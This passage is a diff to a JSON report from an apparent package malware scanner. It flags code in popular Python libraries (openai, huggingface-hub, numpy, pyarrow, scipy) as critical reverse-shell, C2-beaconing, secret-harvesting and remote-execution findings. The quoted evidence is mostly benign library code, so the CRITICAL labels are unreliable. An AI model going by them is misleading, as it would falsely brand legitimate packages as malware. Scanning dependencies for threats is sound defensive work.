sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):", + "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L4577: while True:" + "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", + "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L4600: while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272", + "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602" }, { "package": "huggingface-hub", "file": "huggingface_hub/hf_api.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()" + "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", + "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" }, { "package": "huggingface-hub", "file": "huggingface_hub/utils/_http.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L428: while True:" + "evidence": "L443: while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168", + "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/utils/_http.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", + "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" }, { "package": "ipython", "file": "IPython/core/interactiveshell.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)" + "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)", + "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3" }, { "package": "ipython", "file": "IPython/terminal/pt_inputhooks/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)" + "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", + "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" }, { "package": "ipython", "file": "IPython/utils/py3compat.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L57: exec(compiler(f.read(), fname, \"exec\"), glob, loc)" + "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", + "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" }, { "package": "jaraco-context", "file": "jaraco/context/__init__.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)" + "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" }, { "package": "matplotlib", "file": "matplotlib/backends/backend_webagg.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L56: if not webbrowser.open(url):" + "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", + "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" }, { "package": "multiprocess", "file": "multiprocess/forkserver.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L5: import socket" - }, - { - "package": "multiprocess", - "file": "multiprocess/tests/__init__.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd)" + "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", + "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" }, { "package": "numba", "file": "numba/pycc/decorators.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))" + "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", + "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" }, { "package": "numba", "file": "numba/tests/support.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)" + "evidence": "L1021: os.dup2(w, fd) | L1026: os.dup2(save, fd)", + "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" }, { "package": "numba", "file": "numba/tests/test_codegen.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])" + "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])", + "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" }, { "package": "numpy", "file": "numpy/f2py/capi_maps.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L159: d = eval(f.read().lower(), {}, {})" + "evidence": "L159: d = eval(f.read().lower(), {}, {})", + "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" }, { "package": "numpy", "file": "numpy/lib/tests/test__datasource.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nNetwork: L2: import urllib.request as urllib_request" + "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", + "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" }, { "package": "openai", "file": "openai/_base_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L264: while True:" + "evidence": "L264: while True: sha256:95ca67e46d42354ae650abbdc5b0d97df8b0ed43187800bf40f5690c3901b94b", + "evidence_hash": "a57d8d15fed0bf04f9967dcc18a18b80bb19f4095675bccbb78ac0450d7fce14" }, { "package": "openai", "file": "openai/_client.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L174: api_key = os.environ.get(\"OPENAI_API_KEY\") | L184: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L207: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L140: http_client: httpx.Client | None = None, | L521" + "evidence": "Env: L209: api_key = os.environ.get(\"OPENAI_API_KEY\") | L219: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L243: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\") | L805: api_key = os.environ.get(\"OPENAI_API_KEY\") | L815: admin_api_key = os.environ.get(\"OPENAI_ADMIN_KEY\") | L839: webhook_secret = os.environ.get(\"OPENAI_WEBHOOK_SECRET\")\nNetwork: L144: http_client: httpx.Client | None = None, | L586: http_client: httpx.Client | None = None, | L740: http_client: httpx.AsyncClient | None = None, | L1193: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "d806c1e5eedb1eba7e2d9e6f31f3cc59b1882c8e843dfa3f5eac1fe7abdf296d" }, { "package": "openai", "file": "openai/auth/_workload.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | " + "evidence": "IMDS: L96: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L149: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L77: http_client: httpx.Client | None = None, | L108: with httpx.Client() as client: | L133: http_client: httpx.Client | None = None, | L155: with httpx.Client() as client: | L248: with httpx.Client() as client:", + "evidence_hash": "1581d9f4a23393e9af23fbe5ef9f66807b22c5b5a3f1fe167254c9ebee108567" }, { "package": "openai", "file": "openai/lib/azure.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L213: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L216: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L533: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\")\nNetwork: L36: _HttpxClientT = TypeVar(\"_HttpxClientT\", bou" + "evidence": "Env: L214: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L217: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\") | L538: api_key = os.environ.get(\"AZURE_OPENAI_API_KEY\") | L541: azure_ad_token = os.environ.get(\"AZURE_OPENAI_AD_TOKEN\")\nNetwork: L37: _HttpxClientT = TypeVar(\"_HttpxClientT\", bound=Union[httpx.Client, httpx.AsyncClient]) | L100: class AzureOpenAI(BaseAzureClient[httpx.Client, Stream[Any]], OpenAI): | L119: http_client: httpx.Client | None = None, | L141: http_client: httpx.Client | None = None, | L163: http_client: httpx.Client | None = None, | L189: http_client: httpx.Client | None = None, | L297: http_client: httpx.Client | None = None, | L421: class AsyncAzureOpenAI(BaseAzureClient[httpx.AsyncClient, AsyncStream[Any]], AsyncOpenAI): | L441: http_client: httpx.AsyncClient | None = None, | L464: http_client: httpx.AsyncClient | None = None, | L487: http_client: httpx.AsyncClient | None = None, | L513: http_client: httpx.AsyncClient | None = None, | L621: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "a81d958bdcc6c2e98290a6592a9d52f8fc44e6ce4ac983301840136464779923" }, { "package": "openai", "file": "openai/lib/bedrock.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L133: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L308: api_key = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L119: http_client: httpx.Client | None = None, | L203: http_client: httpx.Client | None = None, | L294: ht" + "evidence": "Env: L105: token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150: environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415: http_client: httpx.Client | None = None, | L531: http_client: httpx.Client | None = None, | L649: http_client: httpx.AsyncClient | None = None, | L767: http_client: httpx.AsyncClient | None = None,", + "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c" }, { "package": "openai", "file": "openai/resources/beta/threads/runs/runs.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1074: while True:" + "evidence": "L1074: while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f", + "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99" }, { "package": "openai", "file": "openai/resources/realtime/realtime.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L310: while True:" + "evidence": "L310: while True: sha256:458198ff3d3f05870bf98c9564cbfd68c739e57b9bbe4120ed81e3eb6af74a05", + "evidence_hash": "a3165d21e46b3ce553795daeae53e8f80e8e89c5cb228e68e6dcaff54bca5a89" }, { "package": "openai", "file": "openai/resources/responses/responses.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L3803: while True:" + "evidence": "L3803: while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f", + "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7" }, { "package": "openai", "file": "openai/resources/vector_stores/file_batches.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L347: while True:" + "evidence": "L347: while True: sha256:604449e8ed433290252fe3f7a48a9e1d8ce46fa148b4ef3037042cc42fdb737b", + "evidence_hash": "e6c1e9bb40accffe2d597e875439bab405e51d9e53f1dad87fd276c0d4014981" }, { "package": "openai", "file": "openai/resources/vector_stores/files.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L376: while True:" + "evidence": "L376: while True: sha256:1bf8d6ef91d4043c98982fb19e5f5685b239a855cd4ff6c11b9b19651d43e944", + "evidence_hash": "8d26a3a0ab3d937e6d4f6873fa648c04afc59484122287bc96b1c022ede4065a" }, { "package": "openai", "file": "openai/resources/videos.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L186: while True:" + "evidence": "L186: while True: sha256:e48be2f193c22eb93024339b9c04fff5dd80c8318708012432df119aef612a41", + "evidence_hash": "f1764390bf5e4e55fdedc1f5ec492535f3dd4444f9fb17eb6ce9eaaa010d1a81" }, { "package": "protobuf", "file": "protobuf-3.19.6-nspkg.pth", "check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)", "severity": "CRITICAL", - "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import_..." + "evidence": "L1: import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('google',));importlib = has_mfs and __import__('importlib.util');has_mfs and __import sha256:233fd2c695435bb5ee9cc00f442153f9dc9901e8a352814c2d23dfd6da0fe70d", + "evidence_hash": "7675d9e6d5a180ae22e00fb0ca8adde65e63adc9751bc7d5bd337238b4ba584c" }, { "package": "ptyprocess", "file": "ptyprocess/_fork_pty.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)" + "evidence": "L33: os.dup2(child_fd, STDIN_FILENO) | L34: os.dup2(child_fd, STDOUT_FILENO) | L35: os.dup2(child_fd, STDERR_FILENO)", + "evidence_hash": "fd104d50945eb60182d81e988885ec927f3b3abc3758b78bece2cd9d65613926" }, { "package": "pyarrow", "file": "pyarrow/tests/conftest.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")" + "evidence": "Env: L210: env = os.environ.copy() | L241: env = os.environ.copy() | L267: env = os.environ.copy()\nNetwork: L24: import urllib.request | L203: resp = urllib.request.urlopen(f\"http://{address}/minio/health/live\")", + "evidence_hash": "8819f266bbf0cb7cdd5a0a491b83b79fb5eefc132b77d2f4b080dfda8ac32514" }, { "package": "pyarrow", "file": "pyarrow/tests/test_extension_type.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py'," + "evidence": "Base64: L1065: decoded_schema = base64.b64decode(meta.metadata[b\"ARROW:schema\"])\nSubprocess: L1350: subprocess.check_call([sys.executable, 'setup.py',\nL1351: 'build_ext', '--inplace'],\nL1352: env=subprocess_env)", + "evidence_hash": "83d7a4cf32639e44b3a7923c5ca68bdf5488ffccf32bc0992821e45680a145a5" }, { "package": "pyarrow", "file": "pyarrow/tests/test_flight.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env," + "evidence": "Base64: L592: token = base64.b64decode(token) | L692: decoded = base64.b64decode(values[1])\nSubprocess: L2674: res = subprocess.run([sys.executable, \"-c\", code], env=env,\nL2675: capture_output=True)", + "evidence_hash": "8b353712547a31cb704343cc04b2faa25b5cf5850c59a8f7866baeb28f6ec317" }, { "package": "pyarrow", "file": "pyarrow/tests/test_orc.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent'" + "evidence": "L154: os.environ['TZDIR'] = '/tmp/non_existent' sha256:d41f7ed866d91fe7b45dfdb557b81bb9c2a05101cf28cd7d39d8aa6faf249b00", + "evidence_hash": "4570f9f31ee6a90906e1074fa1877dcf0c8e061a0b83dec089da25b61071133c" }, { "package": "pyarrow", "file": "pyarrow/tests/util.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L30: import socket" + "evidence": "L30: import socket sha256:5a5d71dfd22906b5dc8b1514316391e05a865f2c94c20dcc96683963f48106f7", + "evidence_hash": "76caefdfe4ac470f26379f05238b2dbfd62a864b8cd43e2392f228264cb1de85" }, { "package": "pyarrow", "file": "pyarrow/util.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response:" + "evidence": "Archive: L293: tarfile.open(tzdata_compressed_path).extractall(tzdata_path)\nNetwork: L198: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | L234: from urllib.request import urlopen, Request | L236: with urlopen(req) as response: | L243: with requests.get(url) as response:", + "evidence_hash": "f231aaa341028cecb8fb2e183ea401dc08826facf3b18e8f733d653f6cad8d9e" }, { "package": "pygments", "file": "pygments/formatters/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L103: exec(f.read(), custom_namespace)" + "evidence": "L103: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L154: exec(f.read(), custom_namespace)" + "evidence": "L154: exec(f.read(), custom_namespace)", + "evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83" }, { "package": "pygments", "file": "pygments/lexers/_mysql_builtins.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L792: 'history',\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')" + "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')", + "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114" }, { "package": "pygments", "file": "pygments/lexers/_php_builtins.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve" + "evidence": "Archive: L3300: with tarfile.open(download[0]) as tar:\nNetwork: L3255: from urllib.request import urlretrieve", + "evidence_hash": "4b893b3eb4125c9ec6bbda983f5fbddde68a89552d29113d58b3c22b1905b582" }, { "package": "pyperclip", "file": "pyperclip/__init__.py", "check": "base64 decode + subprocess execution (staged payload)", "severity": "CRITICAL", - "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name], | L100: p = subprocess.Popen(['pbcopy', 'w'], | L105: p = subprocess.Popen(['pbpaste', 'r']," + "evidence": "Base64: L488: decoded_bytes = base64.b64decode(base64_encoded)\nSubprocess: L80: return subprocess.call(['which', name],\nL81: stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 | L100: p = subprocess.Popen(['pbcopy', 'w'],\nL101: stdin=subprocess.PIPE, close_fds=True) | L105: p = subprocess.Popen(['pbpaste', 'r'],\nL106: stdout=subprocess.PIPE, close_fds=True) | L167: p = subprocess.Popen(['xclip', '-selection', selection],\nL168: stdin=subprocess.PIPE, close_fds=True) | L175: p = subprocess.Popen(['xclip', '-selection', selection, '-o'],\nL176: stdout=subprocess.PIPE,\nL177: stderr=subprocess.PIPE,\nL178: close_fds=True) | L195: p = subprocess.Popen(['xsel', selection_flag, '-i'],\nL196: stdin=subprocess.PIPE, close_fds=True) | L203: p = subprocess.Popen(['xsel', selection_flag, '-o'],\nL204: stdout=subprocess.PIPE, close_fds=True) | L221: subprocess.check_call(args, close_fds=True) | L224: p = subprocess.Popen(args, stdin=subprocess.PIPE, close_fds=True) | L231: p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True) | L241: p = subprocess.Popen(\nL242: ['qdbus', 'org.kde.klipper', '/klipper', 'setClipboardContents',\nL243: text.encode(ENCODING)],\nL244: stdin=subprocess.PIPE, close_fds=True) | L248: p = subprocess.Popen(\nL249: ['qdbus', 'org.kde.klipper', '/klipper', 'getClipboardContents'],\nL250: stdout=subprocess.PIPE, close_fds=True) | L469: p = subprocess.Popen(['clip.exe'],\nL470: stdin=subprocess.PIPE, close_fds=True) | L477: p = subprocess.Popen(['powershell.exe', '-noprofile', '-command', ps_script],\nL478: stdout=subprocess.PIPE,\nL479: stderr=subprocess.PIPE,\nL480: close_fds=True)", + "evidence_hash": "a6c17529beeffa4140f293b36de643bb48d5c4095151573e599840d22e31664f" }, { "package": "python-dateutil", "file": "dateutil/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L16: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "rich", "file": "rich/ansi.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L229: pty.spawn(sys.argv[1:], read)" + "evidence": "L229: pty.spawn(sys.argv[1:], read)", + "evidence_hash": "7aa3b73533776987582edff045267f71b62040823c62b66bd40bef2b744b3ed4" }, { "package": "rich", "file": "rich/console.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())" + "evidence": "L2041: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/readers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)" + "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)", + "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073" }, { "package": "rich-rst", "file": "rich_rst/_vendor/docutils/writers/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)" + "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)", + "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106" }, { "package": "scikit-learn", "file": "sklearn/datasets/_openml.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L100: while True:" + "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b", + "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe" + }, + { + "package": "scikit-learn", + "file": "sklearn/datasets/_openml.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594", + "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" + "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/dask/array/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" + "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/numpy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" + "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")", + "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159" }, { "package": "scikit-learn", "file": "sklearn/externals/array_api_compat/torch/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scikit-learn", "file": "sklearn/svm/tests/test_svm.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/cupy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/dask/array/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/numpy/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")" - }, - { - "package": "scipy", - "file": "scipy/_lib/array_api_compat/torch/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')" + "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)", + "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/cupy/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')" + "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')", + "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8" }, { "package": "scipy", "file": "scipy/_external/array_api_compat/dask/array/__init__.py", 